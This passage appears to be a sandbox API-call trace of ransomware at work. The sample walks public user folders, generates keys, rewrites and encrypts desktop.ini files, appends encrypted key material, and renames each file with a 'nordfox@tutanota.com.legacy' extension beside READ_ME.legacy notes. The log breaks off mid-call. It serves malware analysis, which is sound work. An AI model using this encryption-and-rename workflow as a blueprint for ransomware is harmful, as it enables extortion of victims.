nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0113.805] GetLastError () returned 0x0 [0113.805] SetLastError (dwErrCode=0x0) [0113.805] GetLastError () returned 0x0 [0113.805] SetLastError (dwErrCode=0x0) [0113.805] GetLastError () returned 0x0 [0113.805] SetLastError (dwErrCode=0x0) [0113.805] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0113.805] FindNextFileW (in: hFindFile=0x5c6718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd282d7a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd282d7a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd45b1c04, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0113.806] GetLastError () returned 0x0 [0113.806] SetLastError (dwErrCode=0x0) [0113.806] GetLastError () returned 0x0 [0113.806] SetLastError (dwErrCode=0x0) [0113.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0113.806] GetLastError () returned 0x0 [0113.806] SetLastError (dwErrCode=0x0) [0113.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.806] FindNextFileW (in: hFindFile=0x5c6718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd282d7a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd282d7a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd45b1c04, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0113.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0113.807] SetFileAttributesW (lpFileName="\\Users\\Public\\Music\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0113.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0113.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0113.807] CreateFileW (lpFileName="\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.807] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=380) returned 1 [0113.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c) returned 0x571fc8 [0113.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c) returned 0x5646a8 [0113.808] ReadFile (in: hFile=0x624, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x17c, lpOverlapped=0x0) returned 1 [0113.809] SetFilePointer (in: hFile=0x624, lDistanceToMove=-380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.809] WriteFile (in: hFile=0x624, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17c, lpOverlapped=0x0) returned 1 [0113.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0113.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.813] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17c [0113.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.813] WriteFile (in: hFile=0x624, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.814] WriteFile (in: hFile=0x624, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.814] CloseHandle (hObject=0x624) returned 1 [0113.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0113.814] MoveFileExW (lpExistingFileName="\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), lpNewFileName="\\Users\\Public\\Music\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\music\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0113.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0113.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0113.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0113.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670e0 | out: hHeap=0x520000) returned 1 [0113.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0113.832] FindFirstFileW (in: lpFileName="\\Users\\Public\\Pictures\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd282d7a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c64d8 [0113.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.832] GetLastError () returned 0x0 [0113.832] SetLastError (dwErrCode=0x0) [0113.832] GetLastError () returned 0x0 [0113.832] SetLastError (dwErrCode=0x0) [0113.832] GetLastError () returned 0x0 [0113.832] SetLastError (dwErrCode=0x0) [0113.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670e0 [0113.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0113.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0113.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0113.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6558 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6558 | out: hHeap=0x520000) returned 1 [0113.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670e0 | out: hHeap=0x520000) returned 1 [0113.833] FindNextFileW (in: hFindFile=0x5c64d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd282d7a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0113.833] GetLastError () returned 0x0 [0113.833] SetLastError (dwErrCode=0x0) [0113.833] GetLastError () returned 0x0 [0113.833] SetLastError (dwErrCode=0x0) [0113.833] GetLastError () returned 0x0 [0113.833] SetLastError (dwErrCode=0x0) [0113.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0113.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6558 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6558 | out: hHeap=0x520000) returned 1 [0113.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0113.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0113.834] FindNextFileW (in: hFindFile=0x5c64d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0113.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.834] GetLastError () returned 0x0 [0113.834] SetLastError (dwErrCode=0x0) [0113.834] GetLastError () returned 0x0 [0113.834] SetLastError (dwErrCode=0x0) [0113.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0113.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.834] GetLastError () returned 0x0 [0113.834] SetLastError (dwErrCode=0x0) [0113.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.834] FindNextFileW (in: hFindFile=0x5c64d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd282d7a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd282d7a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd45b1c04, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0113.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0113.834] GetLastError () returned 0x0 [0113.834] SetLastError (dwErrCode=0x0) [0113.834] GetLastError () returned 0x0 [0113.834] SetLastError (dwErrCode=0x0) [0113.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0113.834] GetLastError () returned 0x0 [0113.834] SetLastError (dwErrCode=0x0) [0113.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.835] FindNextFileW (in: hFindFile=0x5c64d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd282d7a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd282d7a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd45b1c04, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0113.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0113.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0113.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0113.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0113.835] SetFileAttributesW (lpFileName="\\Users\\Public\\Pictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563b58 [0113.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.840] CreateFileW (lpFileName="\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x628 [0113.840] GetFileSizeEx (in: hFile=0x628, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=380) returned 1 [0113.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c) returned 0x571fc8 [0113.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c) returned 0x5646a8 [0113.841] ReadFile (in: hFile=0x628, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x17c, lpOverlapped=0x0) returned 1 [0113.842] SetFilePointer (in: hFile=0x628, lDistanceToMove=-380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.842] WriteFile (in: hFile=0x628, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17c, lpOverlapped=0x0) returned 1 [0113.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0113.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.842] SetFilePointer (in: hFile=0x628, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17c [0113.842] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.842] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.843] WriteFile (in: hFile=0x628, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.843] WriteFile (in: hFile=0x628, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.843] CloseHandle (hObject=0x628) returned 1 [0113.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0113.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0113.843] MoveFileExW (lpExistingFileName="\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), lpNewFileName="\\Users\\Public\\Pictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\pictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0113.855] FindFirstFileW (in: lpFileName="\\Users\\Public\\Videos\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd282d7a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6618 [0113.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0113.856] GetLastError () returned 0x0 [0113.856] SetLastError (dwErrCode=0x0) [0113.856] GetLastError () returned 0x0 [0113.856] SetLastError (dwErrCode=0x0) [0113.856] GetLastError () returned 0x0 [0113.856] SetLastError (dwErrCode=0x0) [0113.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0113.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0113.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0113.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6558 [0113.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0113.856] FindNextFileW (in: hFindFile=0x5c6618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd282d7a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0113.858] GetLastError () returned 0x0 [0113.858] SetLastError (dwErrCode=0x0) [0113.858] GetLastError () returned 0x0 [0113.858] SetLastError (dwErrCode=0x0) [0113.858] GetLastError () returned 0x0 [0113.858] SetLastError (dwErrCode=0x0) [0113.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0113.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0113.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0113.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6658 [0113.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0113.858] FindNextFileW (in: hFindFile=0x5c6618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0113.858] GetLastError () returned 0x0 [0113.858] SetLastError (dwErrCode=0x0) [0113.859] GetLastError () returned 0x0 [0113.859] SetLastError (dwErrCode=0x0) [0113.859] GetLastError () returned 0x0 [0113.859] SetLastError (dwErrCode=0x0) [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.859] FindNextFileW (in: hFindFile=0x5c6618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd282d7a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd282d7a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd45b1c04, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0113.859] GetLastError () returned 0x0 [0113.859] SetLastError (dwErrCode=0x0) [0113.859] GetLastError () returned 0x0 [0113.859] SetLastError (dwErrCode=0x0) [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.859] SetLastError (dwErrCode=0x0) [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0113.859] FindNextFileW (in: hFindFile=0x5c6618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd282d7a6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd282d7a6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd45b1c04, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0113.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0113.859] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0113.859] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0113.859] SetFileAttributesW (lpFileName="\\Users\\Public\\Videos\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0113.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0113.860] CreateFileW 